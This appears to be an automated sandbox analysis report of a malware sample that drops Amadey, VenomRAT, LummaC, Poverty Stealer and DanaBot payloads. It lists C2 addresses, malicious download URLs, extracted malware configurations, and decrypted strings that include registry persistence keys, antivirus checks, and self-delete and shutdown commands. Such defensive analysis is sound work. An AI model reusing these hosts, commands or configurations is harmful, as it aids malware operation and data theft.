Source: http://31.41.244.11/files/GoodTimes306/random.exe	Avira URL Cloud: Label: malware
Source: https://marka4.cyou/0000	Avira URL Cloud: Label: malware
Source: https://handscreamny.shop:443/api	Avira URL Cloud: Label: malware
Source: https://soundtappysk.shop:443/api	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpKw	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Avira: detection malicious, Label: HEUR/AGEN.1357486
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\bKIFsVe[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1314794
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\WZMQlGj[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Avira: detection malicious, Label: HEUR/AGEN.1314794
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1357486

Found malware configuration

Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000000F.00000002.2533590954.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Poverty Stealer {"C2 url": "185.244.212.106:2227"}
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	Malware Configuration Extractor: VenomRAT {"Host": ["157.20.182.24"], "Port": ["4449"], "Version": "RAT + hVNC 6.0.5", "Install": "false", "Mutex": "brdveeghmswbhq", "Certificate": "MIICLjCCAZegAwIBAgIVANOquAMMVJHWXj5NlAVx72mq49flMA0GCSqGSIb3DQEBDQUAMGIxFTATBgNVBAMMDFZlbm9tIFNlcnZlcjESMBAGA1UECwwJYWxleGVpa3VuMRswGQYDVQQKDBJWZW5vbSBCeSBhbGV4ZWlrdW4xCzAJBgNVBAcMAlNIMQswCQYDVQQGEwJDTjAeFw0yNDAzMjcwMzAxNDVaFw0zNTAxMDQwMzAxNDVaMBAxDjAMBgNVBAMMBVZlbm9tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCz8v5BXpJVlTskoO2U9HPKeCAzhO19K9oaPFK1Z2CiaslDfcqrmGl41emeh1ZgrLhn7qhsfl8uy/8LjYuXPIBcapTNYm9r3E9KluHKtj2PFINZCw+39GOwMI7Mh2gBbE2/uFscDpzhPf6hnWA2gxD9WdtxT8+wBFh5pQODgLhE8wIDAQABozIwMDAdBgNVHQ4EFgQUPGG0Y8t545HJDgkBIkzHw9xg5G4wDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQBAWQ9Fu1TI3Ouj/6ERR1HNudA3R+mRMrGbB8GvhvBU1+9nQFhvJk9EzKS2C+q4xbB/6cZZVlX/I2JQgUck8zYmXTVWPWEbprJd2hfj8LjMOmYeFT9gYxZ11bpdkzxncpn5AcWGPTzLBRswxWeOmJkJ4Ujdl26+03XG8iJ3ZQh6pg==", "Server Signature": "R7iLCgxlbrb+8E34bSn88cc7pbgys7N28DATfPPUQDsoSDg0nRd7JR1lgs20PhafwpZObK9orYyq/S0Hadu+DPyBnKtNcp/WU+oDAiun1Z1EXHdOv6EboNEydqPdQCbhipQADby5jFgxuqAZYgqFdlbOf2fcsaCY4O6JDow9pNQ="}
Source: fe4d890d0f.exe.7860.57.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["leggelatez.lat", "finickypwk.lat", "shoefeatthe.lat", "kickykiduz.lat", "miniatureyu.lat", "savorraiykj.lat", "bloodyswif.lat", "washyceehsu.lat", "plodnittpw.lat"], "Build id": "LOGS11--6969"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oavvDqT[1].exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\bKIFsVe[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\13Z5sqy[1].exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: UWYXurYZ2x.exe	Virustotal: Detection: 54%			Perma Link
Source: UWYXurYZ2x.exe	ReversingLabs: Detection: 63%

Yara detected DanaBot stealer dll

Source: Yara match	File source: 13.0.oldVNC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oldVNC.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, type: DROPPED

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\HNsLLEj[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\13Z5sqy[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1039131001\eb15c414be.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\bKIFsVe[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\WZMQlGj[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: UWYXurYZ2x.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: 185.215.113.43
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: S-%lu-
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: abc3bc1985
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: skotes.exe
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Startup
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rundll32
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Programs
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: %USERPROFILE%
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cred.dll
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: clip.dll
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: http://
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: https://
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: /quiet
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: /Plugins/
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: &unit=
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shell32.dll
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: kernel32.dll
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ProgramData\
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: AVAST Software
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Kaspersky Lab
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Panda Security
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Doctor Web
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: 360TotalSecurity
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Bitdefender
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Norton
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Sophos
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Comodo
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: WinDefender
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: 0123456789
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ------
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ?scr=1
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ComputerName
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: -unicode-
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: VideoID
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ProductName
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: CurrentBuild
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rundll32.exe
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: "taskkill /f /im "
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: " && timeout 1 && del
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: && Exit"
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: " && ren
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Powershell.exe
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shutdown -s -t 0
Source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	String decryptor: random
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: 4449
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: 157.20.182.24
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: RAT + hVNC 6.0.5
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: false
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: brdveeghmswbhq
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: MIICLjCCAZegAwIBAgIVANOquAMMVJHWXj5NlAVx72mq49flMA0GCSqGSIb3DQEBDQUAMGIxFTATBgNVBAMMDFZlbm9tIFNlcnZlcjESMBAGA1UECwwJYWxleGVpa3VuMRswGQYDVQQKDBJWZW5vbSBCeSBhbGV4ZWlrdW4xCzAJBgNVBAcMAlNIMQswCQYDVQQGEwJDTjAeFw0yNDAzMjcwMzAxNDVaFw0zNTAxMDQwMzAxNDVaMBAxDjAMBgNVBAMMBVZlbm9tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCz8v5BXpJVlTskoO2U9HPKeCAzhO19K9oaPFK1Z2CiaslDfcqrmGl41emeh1ZgrLhn7qhsfl8uy/8LjYuXPIBcapTNYm9r3E9KluHKtj2PFINZCw+39GOwMI7Mh2gBbE2/uFscDpzhPf6hnWA2gxD9WdtxT8+wBFh5pQODgLhE8wIDAQABozIwMDAdBgNVHQ4EFgQUPGG0Y8t545HJDgkBIkzHw9xg5G4wDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQBAWQ9Fu1TI3Ouj/6ERR1HNudA3R+mRMrGbB8GvhvBU1+9nQFhvJk9EzKS2C+q4xbB/6cZZVlX/I2JQgUck8zYmXTVWPWEbprJd2hfj8LjMOmYeFT9gYxZ11bpdkzxncpn5AcWGPTzLBRswxWeOmJkJ4Ujdl26+03XG8iJ3ZQh6pg==
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: R7iLCgxlbrb+8E34bSn88cc7pbgys7N28DATfPPUQDsoSDg0nRd7JR1lgs20PhafwpZObK9orYyq/S0Hadu+DPyBnKtNcp/WU+oDAiun1Z1EXHdOv6EboNEydqPdQCbhipQADby5jFgxuqAZYgqFdlbOf2fcsaCY4O6JDow9pNQ=
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: null
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: false
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: false
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: Default
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: false
Source: 11.0.usPaQ3D.exe.d10000.0.unpack	String decryptor: false

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

Code function: 11_2_00007FFAAC7761B6 CryptUnprotectData,

11_2_00007FFAAC7761B6

Phishing

Yara detected obfuscated html page

Source: Yara match	File source: C:\Temp\2alGwEWbJ.hta, type: DROPPED
Source: Yara match	File source: C:\Temp\Pn8FljxwM.hta, type: DROPPED

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Unpacked PE file: 23.2.5f6d06eefa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Unpacked PE file: 28.2.5f6d06eefa.exe.400000.0.unpack

Source: UWYXurYZ2x.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 162.0.209.157:443 -> 192.168.2.7:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.14.233:443 -> 192.168.2.7:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.166.124:443 -> 192.168.2.7:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.160:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:50061 version: TLS 1.2

Source:	Binary string: System.Windows.Forms.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: HNsLLEj.exe, 00000011.00000002.2389569567.000000000A1DB000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 00000011.00000002.2389569567.000000000A1DE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbMZ@ source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: mscorlib.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: System.ni.pdbRSDS source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: ntkrnlmp.pdb source: HNsLLEj.exe, 00000011.00000002.2389569567.000000000A1DB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ..pdbd source: HNsLLEj.exe, 00000011.00000002.2355876831.0000000009EA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\*23 source: HNsLLEj.exe, 00000011.00000002.2331442834.00000000014A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbx6 source: HNsLLEj.exe, 00000011.00000002.2389569567.000000000A1DB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: Handler.pdb source: HNsLLEj.exe, 0000000F.00000000.2304347901.0000000000732000.00000002.00000001.01000000.0000000F.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, WER5B1A.tmp.dmp.20.dr
Source:	Binary string: System.Windows.Forms.pdb\ source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: System.ni.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: System.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: C:\AdminC4\Workspace\271551858\Project\Debug\Project.pdb source: 13Z5sqy.exe, 0000000A.00000002.2645336917.0000000001526000.00000002.00000001.01000000.0000000A.sdmp, 13Z5sqy.exe.5.dr

Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov esi, edx	12_2_00118740
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov ecx, eax	12_2_0013A810
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov byte ptr [ebx], cl	12_2_0013E002
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov byte ptr [ebx], cl	12_2_0013E002
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then cmp word ptr [eax+ebx+02h], 0000h	12_2_00139871
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then jmp eax	12_2_001388BA
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+0Eh]	12_2_0011A910
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx esi, byte ptr [edx]	12_2_00112940
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	12_2_001261DF
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+esi+63115D0Dh]	12_2_001351E8
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then push dword ptr [esp+28h]	12_2_00136A00
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx+05CAF138h]	12_2_0011BA29
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+32DBB3B0h]	12_2_00137A50
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+40h]	12_2_00129A6D
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov word ptr [ebx], cx	12_2_0012AA90
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov word ptr [esi], cx	12_2_0012AA90
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	12_2_001182A0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	12_2_00148AF0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov ecx, eax	12_2_00130B10
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then push eax	12_2_00150310
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+2564CAB9h]	12_2_0014EB00
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then push 00000000h	12_2_0011CB44
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov eax, dword ptr [00158B08h]	12_2_001373A0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+1Ch]	12_2_001373A0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then lea eax, dword ptr [esp+50h]	12_2_001373A0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax]	12_2_0011CBAF
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ebx, byte ptr [edi+eax]	12_2_0011CBAF
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov ecx, eax	12_2_0011CBAF
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 7E3E42A0h	12_2_0014C410
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then push esi	12_2_0014C410
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	12_2_00117400
